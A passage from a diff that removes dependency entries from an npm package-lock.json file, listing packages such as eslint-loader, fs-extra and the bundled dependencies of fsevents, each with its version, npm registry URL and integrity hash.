"sha512-OX8XqP7/1a9cqkxYw2yXss15f26NKWBpDXQd0/uK/KPqdQhxbPa994hnzjcE2VqQpDslf55723cKPUOGSmMY3g==", - "dev": true, - "requires": { - "ms": "2.0.0" - } - }, - "esprima": { - "version": "4.0.0", - "resolved": "https://registry.npmjs.org/esprima/-/esprima-4.0.0.tgz", - "integrity": "sha512-oftTcaMu/EGrEIu904mWteKIv8vMuOgGYo7EhVJJN00R/EED9DCua/xxHRdYnKtcECzVg7xOWhflvJMnqcFZjw==", - "dev": true - }, - "glob": { - "version": "7.1.2", - "resolved": "https://registry.npmjs.org/glob/-/glob-7.1.2.tgz", - "integrity": "sha512-MJTUg1kjuLeQCJ+ccE4Vpa6kKVXkPYJ2mOCQyUuKLcLQsdrMCpBPUi8qVE6+YuaJkozeA9NusTAw3hLr8Xe5EQ==", - "dev": true, - "requires": { - "fs.realpath": "^1.0.0", - "inflight": "^1.0.4", - "inherits": "2", - "minimatch": "^3.0.4", - "once": "^1.3.0", - "path-is-absolute": "^1.0.0" - } - }, - "globals": { - "version": "11.7.0", - "resolved": "https://registry.npmjs.org/globals/-/globals-11.7.0.tgz", - "integrity": "sha512-K8BNSPySfeShBQXsahYB/AbbWruVOTyVpgoIDnl8odPpeSfP2J5QO2oLFFdl2j7GfDCtZj2bMKar2T49itTPCg==", - "dev": true - }, - "has-flag": { - "version": "3.0.0", - "resolved": "https://registry.npmjs.org/has-flag/-/has-flag-3.0.0.tgz", - "integrity": "sha1-tdRU3CGZriJWmfNGfloH87lVuv0=", - "dev": true - }, - "js-yaml": { - "version": "3.12.0", - "resolved": "https://registry.npmjs.org/js-yaml/-/js-yaml-3.12.0.tgz", - "integrity": "sha512-PIt2cnwmPfL4hKNwqeiuz4bKfnzHTBv6HyVgjahA6mPLwPDzjDWrplJBMjHUFxku/N3FlmrbyPclad+I+4mJ3A==", - "dev": true, - "requires": { - "argparse": "^1.0.7", - "esprima": "^4.0.0" - } - }, - "lodash": { - "version": "4.17.10", - "resolved": "https://registry.npmjs.org/lodash/-/lodash-4.17.10.tgz", - "integrity": "sha512-UejweD1pDoXu+AD825lWwp4ZGtSwgnpZxb3JDViD7StjQz+Nb/6l093lx4OQ0foGWNRoc19mWy7BzL+UAK2iVg==", - "dev": true - }, - "progress": { - "version": "2.0.0", - "resolved": "https://registry.npmjs.org/progress/-/progress-2.0.0.tgz", - "integrity": "sha1-ihvjZr+Pwj2yvSPxDG/pILQ4nR8=", - "dev": true - }, - "strip-ansi": { - "version": "4.0.0", - "resolved": "https://registry.npmjs.org/strip-ansi/-/strip-ansi-4.0.0.tgz", - "integrity": "sha1-qEeQIusaw2iocTibY1JixQXuNo8=", - "dev": true, - "requires": { - "ansi-regex": "^3.0.0" - } - }, - "supports-color": { - "version": "5.4.0", - "resolved": "https://registry.npmjs.org/supports-color/-/supports-color-5.4.0.tgz", - "integrity": "sha512-zjaXglF5nnWpsq470jSv6P9DwPvgLkuapYmfDm3JWOm0vkNTVF2tI4UrN2r6jH1qM/uc/WtxYY1hYoA2dOKj5w==", - "dev": true, - "requires": { - "has-flag": "^3.0.0" - } - } - } - }, - "eslint-loader": { - "version": "1.9.0", - "resolved": "https://registry.npmjs.org/eslint-loader/-/eslint-loader-1.9.0.tgz", - "integrity": "sha1-fhvp/t3KMo09z67xrUnVvv/oOhM=", - "dev": true, - "requires": { - "loader-fs-cache": "^1.0.0", - "loader-utils": "^1.0.2", - "object-assign": "^4.0.1", - "object-hash": "^1.1.4", - "rimraf": "^2.6.1" - } - }, - "eslint-scope": { - "version": "3.7.1", - "resolved": "https://registry.npmjs.org/eslint-scope/-/eslint-scope-3.7.1.tgz", - "integrity": "sha1-PWPD7f2gLgbgGkUq2IyqzHzctug=", - "dev": true, - "requires": { - "esrecurse": "^4.1.0", - "estraverse": "^4.1.1" - } - }, - "eslint-visitor-keys": { - "version": "1.0.0", - "resolved": "https://registry.npmjs.org/eslint-visitor-keys/-/eslint-visitor-keys-1.0.0.tgz", - "integrity": "sha512-qzm/XxIbxm/FHyH341ZrbnMUpe+5Bocte9xkmFMzPMjRaZMcXww+MpBptFvtU+79L362nqiLhekCxCxDPaUMBQ==", - "dev": true - }, - "espree": { - "version": "3.5.4", - "resolved": "https://registry.npmjs.org/espree/-/espree-3.5.4.tgz", - "integrity": "sha512-yAcIQxtmMiB/jL32dzEp2enBeidsB7xWPLNiw3IIkpVds1P+h7qF9YwJq1yUNzp2OKXgAprs4F61ih66UsoD1A==", - "dev": true, - "requires": { - "acorn": "^5.5.0", - "acorn-jsx": "^3.0.0" - }, - "dependencies": { - "acorn": { - "version": "5.7.1", - "resolved": "https://registry.npmjs.org/acorn/-/acorn-5.7.1.tgz", - "integrity": "sha512-d+nbxBUGKg7Arpsvbnlq61mc12ek3EY8EQldM3GPAhWJ1UVxC6TDGbIvUMNU6obBX3i1+ptCIzV4vq0gFPEGVQ==", - "dev": true - } - } - }, - "esprima": { - "version": "2.7.3", - "resolved": "https://registry.npmjs.org/esprima/-/esprima-2.7.3.tgz", - "integrity": "sha1-luO3DVd59q1JzQMmc9HDEnZ7pYE=", - "dev": true - }, - "esquery": { - "version": "1.0.1", - "resolved": "https://registry.npmjs.org/esquery/-/esquery-1.0.1.tgz", - "integrity": "sha512-SmiyZ5zIWH9VM+SRUReLS5Q8a7GxtRdxEBVZpm98rJM7Sb+A9DVCndXfkeFUd3byderg+EbDkfnevfCwynWaNA==", - "dev": true, - "requires": { - "estraverse": "^4.0.0" - } - }, - "esrecurse": { - "version": "4.2.1", - "resolved": "https://registry.npmjs.org/esrecurse/-/esrecurse-4.2.1.tgz", - "integrity": "sha512-64RBB++fIOAXPw3P9cy89qfMlvZEXZkqqJkjqqXIvzP5ezRZjW+lPWjw35UX/3EhUPFYbg5ER4JYgDw4007/DQ==", - "dev": true, - "requires": { - "estraverse": "^4.1.0" - } - }, - "estraverse": { - "version": "4.2.0", - "resolved": "https://registry.npmjs.org/estraverse/-/estraverse-4.2.0.tgz", - "integrity": "sha1-De4/7TH81GlhjOc0IJn8GvoL2xM=", - "dev": true - }, - "esutils": { - "version": "2.0.2", - "resolved": "https://registry.npmjs.org/esutils/-/esutils-2.0.2.tgz", - "integrity": "sha1-Cr9PHKpbyx96nYrMbepPqqBLrJs=" - }, - "event-emitter": { - "version": "0.3.5", - "resolved": "https://registry.npmjs.org/event-emitter/-/event-emitter-0.3.5.tgz", - "integrity": "sha1-34xp7vFkeSPHFXuc6DhAYQsCzDk=", - "dev": true, - "requires": { - "d": "1", - "es5-ext": "~0.10.14" - } - }, - "eventemitter2": { - "version": "0.4.14", - "resolved": "https://registry.npmjs.org/eventemitter2/-/eventemitter2-0.4.14.tgz", - "integrity": "sha1-j2G3XN4BKy6esoTUVFWDtWQ7Yas=", - "dev": true - }, - "events": { - "version": "1.1.1", - "resolved": "https://registry.npmjs.org/events/-/events-1.1.1.tgz", - "integrity": "sha1-nr23Y1rQmccNzEwqH1AEKI6L2SQ=", - "dev": true - }, - "evp_bytestokey": { - "version": "1.0.0", - "resolved": "https://registry.npmjs.org/evp_bytestokey/-/evp_bytestokey-1.0.0.tgz", - "integrity": "sha1-SXtmrZ/vZc18CKYYCCS6FHa2blM=", - "dev": true, - "requires": { - "create-hash": "^1.1.1" - } - }, - "exec-sh": { - "version": "0.2.2", - "resolved": "https://registry.npmjs.org/exec-sh/-/exec-sh-0.2.2.tgz", - "integrity": "sha512-FIUCJz1RbuS0FKTdaAafAByGS0CPvU3R0MeHxgtl+djzCc//F8HakL8GzmVNZanasTbTAY/3DRFA0KpVqj/eAw==", - "dev": true, - "requires": { - "merge": "^1.2.0" - } - }, - "execa": { - "version": "0.7.0", - "resolved": "https://registry.npmjs.org/execa/-/execa-0.7.0.tgz", - "integrity": "sha1-lEvs00zEHuMqY6n68nrVpl/Fl3c=", - "dev": true, - "requires": { - "cross-spawn": "^5.0.1", - "get-stream": "^3.0.0", - "is-stream": "^1.1.0", - "npm-run-path": "^2.0.0", - "p-finally": "^1.0.0", - "signal-exit": "^3.0.0", - "strip-eof": "^1.0.0" - } - }, - "exit": { - "version": "0.1.2", - "resolved": "https://registry.npmjs.org/exit/-/exit-0.1.2.tgz", - "integrity": "sha1-BjJjj42HfMghB9MKD/8aF8uhzQw=", - "dev": true - }, - "expand-brackets": { - "version": "0.1.5", - "resolved": "https://registry.npmjs.org/expand-brackets/-/expand-brackets-0.1.5.tgz", - "integrity": "sha1-3wcoTjQqgHzXM6xa9yQR5YHRF3s=", - "dev": true, - "requires": { - "is-posix-bracket": "^0.1.0" - } - }, - "expand-range": { - "version": "1.8.2", - "resolved": "https://registry.npmjs.org/expand-range/-/expand-range-1.8.2.tgz", - "integrity": "sha1-opnv/TNf4nIeuujiV+x5ZE/IUzc=", - "dev": true, - "requires": { - "fill-range": "^2.1.0" - } - }, - "expand-template": { - "version": "1.1.0", - "resolved": "https://registry.npmjs.org/expand-template/-/expand-template-1.1.0.tgz", - "integrity": "sha512-kkjwkMqj0h4w/sb32ERCDxCQkREMCAgS39DscDnSwDsbxnwwM1BTZySdC3Bn1lhY7vL08n9GoO/fVTynjDgRyQ==", - "dev": true, - "optional": true - }, - "extend": { - "version": "3.0.1", - "resolved": "https://registry.npmjs.org/extend/-/extend-3.0.1.tgz", - "integrity": "sha1-p1Xqe8Gt/MWjHOfnYtuq3F5jZEQ=", - "dev": true, - "optional": true - }, - "extend-shallow": { - "version": "3.0.2", - "resolved": "https://registry.npmjs.org/extend-shallow/-/extend-shallow-3.0.2.tgz", - "integrity": "sha1-Jqcarwc7OfshJxcnRhMcJwQCjbg=", - "dev": true, - "requires": { - "assign-symbols": "^1.0.0", - "is-extendable": "^1.0.1" - }, - "dependencies": { - "is-extendable": { - "version": "1.0.1", - "resolved": "https://registry.npmjs.org/is-extendable/-/is-extendable-1.0.1.tgz", - "integrity": "sha512-arnXMxT1hhoKo9k1LZdmlNyJdDDfy2v0fXjFlmok4+i8ul/6WlbVge9bhM74OpNPQPMGUToDtz+KXa1PneJxOA==", - "dev": true, - "requires": { - "is-plain-object": "^2.0.4" - } - } - } - }, - "external-editor": { - "version": "2.2.0", - "resolved": "https://registry.npmjs.org/external-editor/-/external-editor-2.2.0.tgz", - "integrity": "sha512-bSn6gvGxKt+b7+6TKEv1ZycHleA7aHhRHyAqJyp5pbUFuYYNIzpZnQDk7AsYckyWdEnTeAnay0aCy2aV6iTk9A==", - "dev": true, - "requires": { - "chardet": "^0.4.0", - "iconv-lite": "^0.4.17", - "tmp": "^0.0.33" - } - }, - "extglob": { - "version": "0.3.2", - "resolved": "https://registry.npmjs.org/extglob/-/extglob-0.3.2.tgz", - "integrity": "sha1-Lhj/PS9JqydlzskCPwEdqo2DSaE=", - "dev": true, - "requires": { - "is-extglob": "^1.0.0" - } - }, - "extract-text-webpack-plugin": { - "version": "3.0.2", - "resolved": "https://registry.npmjs.org/extract-text-webpack-plugin/-/extract-text-webpack-plugin-3.0.2.tgz", - "integrity": "sha512-bt/LZ4m5Rqt/Crl2HiKuAl/oqg0psx1tsTLkvWbJen1CtD+fftkZhMaQ9HOtY2gWsl2Wq+sABmMVi9z3DhKWQQ==", - "dev": true, - "requires": { - "async": "^2.4.1", - "loader-utils": "^1.1.0", - "schema-utils": "^0.3.0", - "webpack-sources": "^1.0.1" - }, - "dependencies": { - "async": { - "version": "2.6.1", - "resolved": "https://registry.npmjs.org/async/-/async-2.6.1.tgz", - "integrity": "sha512-fNEiL2+AZt6AlAw/29Cr0UDe4sRAHCpEHh54WMz+Bb7QfNcFw4h3loofyJpLeQs4Yx7yuqu/2dLgM5hKOs6HlQ==", - "dev": true, - "requires": { - "lodash": "^4.17.10" - } - }, - "schema-utils": { - "version": "0.3.0", - "resolved": "https://registry.npmjs.org/schema-utils/-/schema-utils-0.3.0.tgz", - "integrity": "sha1-9YdyIs4+kx7a4DnxfrNxbnE3+M8=", - "dev": true, - "requires": { - "ajv": "^5.0.0" - } - } - } - }, - "extsprintf": { - "version": "1.3.0", - "resolved": "https://registry.npmjs.org/extsprintf/-/extsprintf-1.3.0.tgz", - "integrity": "sha1-lpGEQOMEGnpBT4xS48V06zw+HgU=", - "dev": true - }, - "fast-deep-equal": { - "version": "1.1.0", - "resolved": "https://registry.npmjs.org/fast-deep-equal/-/fast-deep-equal-1.1.0.tgz", - "integrity": "sha1-wFNHeBfIa1HaqFPIHgWbcz0CNhQ=", - "dev": true - }, - "fast-json-stable-stringify": { - "version": "2.0.0", - "resolved": "https://registry.npmjs.org/fast-json-stable-stringify/-/fast-json-stable-stringify-2.0.0.tgz", - "integrity": "sha1-1RQsDK7msRifh9OnYREGT4bIu/I=", - "dev": true - }, - "fast-levenshtein": { - "version": "2.0.6", - "resolved": "https://registry.npmjs.org/fast-levenshtein/-/fast-levenshtein-2.0.6.tgz", - "integrity": "sha1-PYpcZog6FqMMqGQ+hR8Zuqd5eRc=", - "dev": true - }, - "fastparse": { - "version": "1.1.1", - "resolved": "https://registry.npmjs.org/fastparse/-/fastparse-1.1.1.tgz", - "integrity": "sha1-0eJkOzipTXWDtHkGDmxK/8lAcfg=", - "dev": true - }, - "faye-websocket": { - "version": "0.10.0", - "resolved": "https://registry.npmjs.org/faye-websocket/-/faye-websocket-0.10.0.tgz", - "integrity": "sha1-TkkvjQTftviQA1B/btvy1QHnxvQ=", - "dev": true, - "requires": { - "websocket-driver": ">=0.5.1" - } - }, - "fbjs": { - "version": "0.8.17", - "resolved": "https://registry.npmjs.org/fbjs/-/fbjs-0.8.17.tgz", - "integrity": "sha1-xNWY6taUkRJlPWWIsBpc3Nn5D90=", - "dev": true, - "requires": { - "core-js": "^1.0.0", - "isomorphic-fetch": "^2.1.1", - "loose-envify": "^1.0.0", - "object-assign": "^4.1.0", - "promise": "^7.1.1", - "setimmediate": "^1.0.5", - "ua-parser-js": "^0.7.18" - }, - "dependencies": { - "core-js": { - "version": "1.2.7", - "resolved": "https://registry.npmjs.org/core-js/-/core-js-1.2.7.tgz", - "integrity": "sha1-ZSKUwUZR2yj6k70tX/KYOk8IxjY=", - "dev": true - } - } - }, - "figgy-pudding": { - "version": "3.5.2", - "resolved": "https://registry.npmjs.org/figgy-pudding/-/figgy-pudding-3.5.2.tgz", - "integrity": "sha512-0btnI/H8f2pavGMN8w40mlSKOfTK2SVJmBfBeVIj3kNw0swwgzyRq0d5TJVOwodFmtvpPeWPN/MCcfuWF0Ezbw==", - "dev": true - }, - "figures": { - "version": "2.0.0", - "resolved": "https://registry.npmjs.org/figures/-/figures-2.0.0.tgz", - "integrity": "sha1-OrGi0qYsi/tDGgyUy3l6L84nyWI=", - "dev": true, - "requires": { - "escape-string-regexp": "^1.0.5" - } - }, - "file-entry-cache": { - "version": "2.0.0", - "resolved": "https://registry.npmjs.org/file-entry-cache/-/file-entry-cache-2.0.0.tgz", - "integrity": "sha1-w5KZDD5oR4PYOLjISkXYoEhFg2E=", - "dev": true, - "requires": { - "flat-cache": "^1.2.1", - "object-assign": "^4.0.1" - } - }, - "file-loader": { - "version": "0.11.2", - "resolved": "https://registry.npmjs.org/file-loader/-/file-loader-0.11.2.tgz", - "integrity": "sha1-T/HfKK84cZpgmAk7iMgscdF5SjQ=", - "dev": true, - "requires": { - "loader-utils": "^1.0.2" - } - }, - "file-sync-cmp": { - "version": "0.1.1", - "resolved": "https://registry.npmjs.org/file-sync-cmp/-/file-sync-cmp-0.1.1.tgz", - "integrity": "sha1-peeo/7+kk7Q7kju9TKiaU7Y7YSs=", - "dev": true - }, - "file-type": { - "version": "7.7.1", - "resolved": "https://registry.npmjs.org/file-type/-/file-type-7.7.1.tgz", - "integrity": "sha512-bTrKkzzZI6wH+NXhyD3SOXtb2zXTw2SbwI2RxUlRcXVsnN7jNL5hJzVQLYv7FOQhxFkK4XWdAflEaWFpaLLWpQ==", - "dev": true - }, - "file-uri-to-path": { - "version": "1.0.0", - "resolved": "https://registry.npmjs.org/file-uri-to-path/-/file-uri-to-path-1.0.0.tgz", - "integrity": "sha512-0Zt+s3L7Vf1biwWZ29aARiVYLx7iMGnEUl9x33fbB/j3jR81u/O2LbqK+Bm1CDSNDKVtJ/YjwY7TUd5SkeLQLw==", - "dev": true, - "optional": true - }, - "filename-regex": { - "version": "2.0.1", - "resolved": "https://registry.npmjs.org/filename-regex/-/filename-regex-2.0.1.tgz", - "integrity": "sha1-wcS5vuPglyXdsQa3XB4wH+LxiyY=", - "dev": true - }, - "fill-range": { - "version": "2.2.4", - "resolved": "https://registry.npmjs.org/fill-range/-/fill-range-2.2.4.tgz", - "integrity": "sha512-cnrcCbj01+j2gTG921VZPnHbjmdAf8oQV/iGeV2kZxGSyfYjjTyY79ErsK1WJWMpw6DaApEX72binqJE+/d+5Q==", - "dev": true, - "requires": { - "is-number": "^2.1.0", - "isobject": "^2.0.0", - "randomatic": "^3.0.0", - "repeat-element": "^1.1.2", - "repeat-string": "^1.5.2" - } - }, - "find-cache-dir": { - "version": "1.0.0", - "resolved": "https://registry.npmjs.org/find-cache-dir/-/find-cache-dir-1.0.0.tgz", - "integrity": "sha1-kojj6ePMN0hxfTnq3hfPcfww7m8=", - "dev": true, - "requires": { - "commondir": "^1.0.1", - "make-dir": "^1.0.0", - "pkg-dir": "^2.0.0" - } - }, - "find-up": { - "version": "1.1.2", - "resolved": "https://registry.npmjs.org/find-up/-/find-up-1.1.2.tgz", - "integrity": "sha1-ay6YIrGizgpgq2TWEOzK1TyyTQ8=", - "dev": true, - "requires": { - "path-exists": "^2.0.0", - "pinkie-promise": "^2.0.0" - } - }, - "findup-sync": { - "version": "0.3.0", - "resolved": "https://registry.npmjs.org/findup-sync/-/findup-sync-0.3.0.tgz", - "integrity": "sha1-N5MKpdgWt3fANEXhlmzGeQpMCxY=", - "dev": true, - "requires": { - "glob": "~5.0.0" - }, - "dependencies": { - "glob": { - "version": "5.0.15", - "resolved": "https://registry.npmjs.org/glob/-/glob-5.0.15.tgz", - "integrity": "sha1-G8k2ueAvSmA/zCIuz3Yz0wuLk7E=", - "dev": true, - "requires": { - "inflight": "^1.0.4", - "inherits": "2", - "minimatch": "2 || 3", - "once": "^1.3.0", - "path-is-absolute": "^1.0.0" - } - } - } - }, - "flat-cache": { - "version": "1.3.0", - "resolved": "https://registry.npmjs.org/flat-cache/-/flat-cache-1.3.0.tgz", - "integrity": "sha1-0wMLMrOBVPTjt+nHCfSQ9++XxIE=", - "dev": true, - "requires": { - "circular-json": "^0.3.1", - "del": "^2.0.2", - "graceful-fs": "^4.1.2", - "write": "^0.2.1" - } - }, - "flatten": { - "version": "1.0.2", - "resolved": "https://registry.npmjs.org/flatten/-/flatten-1.0.2.tgz", - "integrity": "sha1-2uRqnXj74lKSJYzB54CkHZXAN4I=", - "dev": true - }, - "flush-write-stream": { - "version": "1.0.3", - "resolved": "https://registry.npmjs.org/flush-write-stream/-/flush-write-stream-1.0.3.tgz", - "integrity": "sha512-calZMC10u0FMUqoiunI2AiGIIUtUIvifNwkHhNupZH4cbNnW1Itkoh/Nf5HFYmDrwWPjrUxpkZT0KhuCq0jmGw==", - "dev": true, - "requires": { - "inherits": "^2.0.1", - "readable-stream": "^2.0.4" - } - }, - "fn-args": { - "version": "4.0.0", - "resolved": "https://registry.npmjs.org/fn-args/-/fn-args-4.0.0.tgz", - "integrity": "sha512-M9XSagc92ejQhi+7kjpFPAO59xKbGRsbOg/9dfwSj84DfzB0pj+Q81DVD1pKr084Xf2oICwUNI0pCvGORmD9zg==", - "dev": true - }, - "follow-redirects": { - "version": "1.5.10", - "resolved": "https://registry.npmjs.org/follow-redirects/-/follow-redirects-1.5.10.tgz", - "integrity": "sha512-0V5l4Cizzvqt5D44aTXbFZz+FtyXV1vrDN6qrelxtfYQKW0KO0W2T/hkE8xvGa/540LkZlkaUjO4ailYTFtHVQ==", - "dev": true, - "requires": { - "debug": "=3.1.0" - }, - "dependencies": { - "debug": { - "version": "3.1.0", - "resolved": "https://registry.npmjs.org/debug/-/debug-3.1.0.tgz", - "integrity": "sha512-OX8XqP7/1a9cqkxYw2yXss15f26NKWBpDXQd0/uK/KPqdQhxbPa994hnzjcE2VqQpDslf55723cKPUOGSmMY3g==", - "dev": true, - "requires": { - "ms": "2.0.0" - } - } - } - }, - "for-in": { - "version": "1.0.2", - "resolved": "https://registry.npmjs.org/for-in/-/for-in-1.0.2.tgz", - "integrity": "sha1-gQaNKVqBQuwKxybG4iAMMPttXoA=", - "dev": true - }, - "for-own": { - "version": "0.1.5", - "resolved": "https://registry.npmjs.org/for-own/-/for-own-0.1.5.tgz", - "integrity": "sha1-UmXGgaTylNq78XyVCbZ2OqhFEM4=", - "dev": true, - "requires": { - "for-in": "^1.0.1" - } - }, - "foreach": { - "version": "2.0.5", - "resolved": "https://registry.npmjs.org/foreach/-/foreach-2.0.5.tgz", - "integrity": "sha1-C+4AUBiusmDQo6865ljdATbsG5k=", - "dev": true - }, - "forever-agent": { - "version": "0.6.1", - "resolved": "https://registry.npmjs.org/forever-agent/-/forever-agent-0.6.1.tgz", - "integrity": "sha1-+8cfDEGt6zf5bFd60e1C2P2sypE=", - "dev": true - }, - "form-data": { - "version": "2.3.2", - "resolved": "https://registry.npmjs.org/form-data/-/form-data-2.3.2.tgz", - "integrity": "sha1-SXBJi+YEwgwAXU9cI67NIda0kJk=", - "dev": true, - "requires": { - "asynckit": "^0.4.0", - "combined-stream": "1.0.6", - "mime-types": "^2.1.12" - } - }, - "fragment-cache": { - "version": "0.2.1", - "resolved": "https://registry.npmjs.org/fragment-cache/-/fragment-cache-0.2.1.tgz", - "integrity": "sha1-QpD60n8T6Jvn8zeZxrxaCr//DRk=", - "dev": true, - "requires": { - "map-cache": "^0.2.2" - } - }, - "from2": { - "version": "2.3.0", - "resolved": "https://registry.npmjs.org/from2/-/from2-2.3.0.tgz", - "integrity": "sha1-i/tVAr3kpNNs/e6gB/zKIdfjgq8=", - "dev": true, - "requires": { - "inherits": "^2.0.1", - "readable-stream": "^2.0.0" - } - }, - "fs-constants": { - "version": "1.0.0", - "resolved": "https://registry.npmjs.org/fs-constants/-/fs-constants-1.0.0.tgz", - "integrity": "sha512-y6OAwoSIf7FyjMIv94u+b5rdheZEjzR63GTyZJm5qh4Bi+2YgwLCcI/fPFZkL5PSixOt6ZNKm+w+Hfp/Bciwow==", - "dev": true - }, - "fs-extra": { - "version": "8.1.0", - "resolved": "https://registry.npmjs.org/fs-extra/-/fs-extra-8.1.0.tgz", - "integrity": "sha512-yhlQgA6mnOJUKOsRUFsgJdQCvkKhcz8tlZG5HBQfReYZy46OwLcY+Zia0mtdHsOo9y/hP+CxMN0TU9QxoOtG4g==", - "dev": true, - "requires": { - "graceful-fs": "^4.2.0", - "jsonfile": "^4.0.0", - "universalify": "^0.1.0" - }, - "dependencies": { - "graceful-fs": { - "version": "4.2.0", - "resolved": "https://registry.npmjs.org/graceful-fs/-/graceful-fs-4.2.0.tgz", - "integrity": "sha512-jpSvDPV4Cq/bgtpndIWbI5hmYxhQGHPC4d4cqBPb4DLniCfhJokdXhwhaDuLBGLQdvvRum/UiX6ECVIPvDXqdg==", - "dev": true - } - } - }, - "fs-readdir-recursive": { - "version": "1.1.0", - "resolved": "https://registry.npmjs.org/fs-readdir-recursive/-/fs-readdir-recursive-1.1.0.tgz", - "integrity": "sha512-GNanXlVr2pf02+sPN40XN8HG+ePaNcvM0q5mZBd668Obwb0yD5GiUbZOFgwn8kGMY6I3mdyDJzieUy3PTYyTRA==", - "dev": true - }, - "fs-write-stream-atomic": { - "version": "1.0.10", - "resolved": "https://registry.npmjs.org/fs-write-stream-atomic/-/fs-write-stream-atomic-1.0.10.tgz", - "integrity": "sha1-tH31NJPvkR33VzHnCp3tAYnbQMk=", - "dev": true, - "requires": { - "graceful-fs": "^4.1.2", - "iferr": "^0.1.5", - "imurmurhash": "^0.1.4", - "readable-stream": "1 || 2" - } - }, - "fs.realpath": { - "version": "1.0.0", - "resolved": "https://registry.npmjs.org/fs.realpath/-/fs.realpath-1.0.0.tgz", - "integrity": "sha1-FQStJSMVjKpA20onh8sBQRmU6k8=", - "dev": true - }, - "fsevents": { - "version": "1.2.4", - "resolved": "https://registry.npmjs.org/fsevents/-/fsevents-1.2.4.tgz", - "integrity": "sha512-z8H8/diyk76B7q5wg+Ud0+CqzcAF3mBBI/bA5ne5zrRUUIvNkJY//D3BqyH571KuAC4Nr7Rw7CjWX4r0y9DvNg==", - "dev": true, - "optional": true, - "requires": { - "nan": "^2.9.2", - "node-pre-gyp": "^0.10.0" - }, - "dependencies": { - "abbrev": { - "version": "1.1.1", - "bundled": true, - "dev": true, - "optional": true - }, - "ansi-regex": { - "version": "2.1.1", - "bundled": true, - "dev": true, - "optional": true - }, - "aproba": { - "version": "1.2.0", - "bundled": true, - "dev": true, - "optional": true - }, - "are-we-there-yet": { - "version": "1.1.4", - "bundled": true, - "dev": true, - "optional": true, - "requires": { - "delegates": "^1.0.0", - "readable-stream": "^2.0.6" - } - }, - "balanced-match": { - "version": "1.0.0", - "bundled": true, - "dev": true, - "optional": true - }, - "brace-expansion": { - "version": "1.1.11", - "bundled": true, - "dev": true, - "optional": true, - "requires": { - "balanced-match": "^1.0.0", - "concat-map": "0.0.1" - } - }, - "chownr": { - "version": "1.0.1", - "bundled": true, - "dev": true, - "optional": true - }, - "code-point-at": { - "version": "1.1.0", - "bundled": true, - "dev": true, - "optional": true - }, - "concat-map": { - "version": "0.0.1", - "bundled": true, - "dev": true, - "optional": true - }, - "console-control-strings": { - "version": "1.1.0", - "bundled": true, - "dev": true, - "optional": true - }, - "core-util-is": { - "version": "1.0.2", - "bundled": true, - "dev": true, - "optional": true - }, - "debug": { - "version": "2.6.9", - "bundled": true, - "dev": true, - "optional": true, - "requires": { - "ms": "2.0.0" - } - }, - "deep-extend": { - "version": "0.5.1", - "bundled": true, - "dev": true, - "optional": true - }, - "delegates": { - "version": "1.0.0", - "bundled": true, - "dev": true, - "optional": true - }, - "detect-libc": { - "version": "1.0.3", - "bundled": true, - "dev": true, - "optional": true - }, - "fs-minipass": { - "version": "1.2.5", - "bundled": true, - "dev": true, - "optional": true, - "requires": { - "minipass": "^2.2.1" - } - }, - "fs.realpath": { - "version": "1.0.0", - "bundled": true, - "dev": true, - "optional": true - }, - "gauge": { - "version": "2.7.4", - "bundled": true, - "dev": true, - "optional": true, - "requires": { - "aproba": "^1.0.3", - "console-control-strings": "^1.0.0", - "has-unicode": "^2.0.0", - "object-assign": "^4.1.0", - "signal-exit": "^3.0.0", - "string-width": "^1.0.1", - "strip-ansi": "^3.0.1", - "wide-align": "^1.1.0" - } - }, - "glob": { - "version": "7.1.2", - "bundled": true, - "dev": true, - "optional": true, - "requires": { - "fs.realpath": "^1.0.0", - "inflight": "^1.0.4", - "inherits": "2", - "minimatch": "^3.0.4", - "once": "^1.3.0", - "path-is-absolute": "^1.0.0" - } - }, - "has-unicode": { - "version": "2.0.1", - "bundled": true, - "dev": true, - "optional": true - }, - "iconv-lite": { - "version": "0.4.21", - "bundled": true, - "dev": true, - "optional": true, - "requires": { - "safer-buffer": "^2.1.0" - } - }, - "ignore-walk": { - "version": "3.0.1", - "bundled": true, - "dev": true, - "optional": true, - "requires": { - "minimatch": "^3.0.4" - } - }, - "inflight": { - "version": "1.0.6", - "bundled": true, - "dev": true, - "optional": true, - "requires": { - "once": "^1.3.0", - "wrappy": "1" - } - }, - "inherits": { - "version": "2.0.3", - "bundled": true, - "dev": true, - "optional": true - }, - "ini": { - "version": "1.3.5", - "bundled": true, - "dev": true, - "optional": true - }, - "is-fullwidth-code-point": { - "version": "1.0.0", - "bundled": true, - "dev": true, - "optional": true, - "requires": { - "number-is-nan": "^1.0.0" - } - }, - "isarray": { - "version": "1.0.0", - "bundled": true, - "dev": true, - "optional": true - }, - "minimatch": { - "version": "3.0.4", - "bundled": true, - "dev": true, - "optional": true, - "requires": { - "brace-expansion": "^1.1.7" - } - }, - "minimist": { - "version": "0.0.8", - "bundled": true, - "dev": true, - "optional": true - }, - "minipass": { - "version": "2.2.4", - "bundled": true, - "dev": true, - "optional": true, - "requires": { - "safe-buffer": "^5.1.1", - "yallist": "^3.0.0" - } - }, - "minizlib": { - "version": "1.1.0", - "bundled": true, - "dev": true, - "optional": true, - "requires": { - "minipass": "^2.2.1" - } - }, - "mkdirp": { - "version": "0.5.1", - "bundled": true, - "dev": true, - "optional": true, - "requires": { - "minimist": "0.0.8" - } - }, - "ms": { - "version": "2.0.0", - "bundled": true, - "dev": true, - "optional": true - }, - "needle": { - "version": "2.2.0", - "bundled": true, - "dev": true, - "optional": true, - "requires": { - "debug": "^2.1.2", - "iconv-lite": "^0.4.4", - "sax": "^1.2.4" - } - }, - "node-pre-gyp": { - "version": "0.10.0", - "bundled": true, - "dev": true, - "optional": true, - "requires": { - "detect-libc": "^1.0.2", - "mkdirp": "^0.5.1", - "needle": "^2.2.0", - "nopt": "^4.0.1", - "npm-packlist": "^1.1.6", - "npmlog": "^4.0.2", - "rc": "^1.1.7", - "rimraf": "^2.6.1", - "semver": "^5.3.0", - "tar": "^4" - } - }, - "nopt": { - "version": "4.0.1", - "bundled": true, - "dev": true, - "optional": true, - "requires": { - "abbrev": "1", - "osenv": "^0.1.4" - } - }, - "npm-bundled": { - "version": "1.0.3", - "bundled": true, - "dev": true, - "optional": true - }, - "npm-packlist": { - "version": "1.1.10", - "bundled": true, - "dev": true, - "optional": true, - "requires": { - "ignore-walk": "^3.0.1", - "npm-bundled": "^1.0.1" - } - }, - "npmlog": { - "version": "4.1.2", - "bundled": true, - "dev": true, - "optional": true, - "requires": { - "are-we-there-yet": "~1.1.2", - "console-control-strings": "~1.1.0", - "gauge": "~2.7.3", - "set-blocking": "~2.0.0" - } - }, - "number-is-nan": 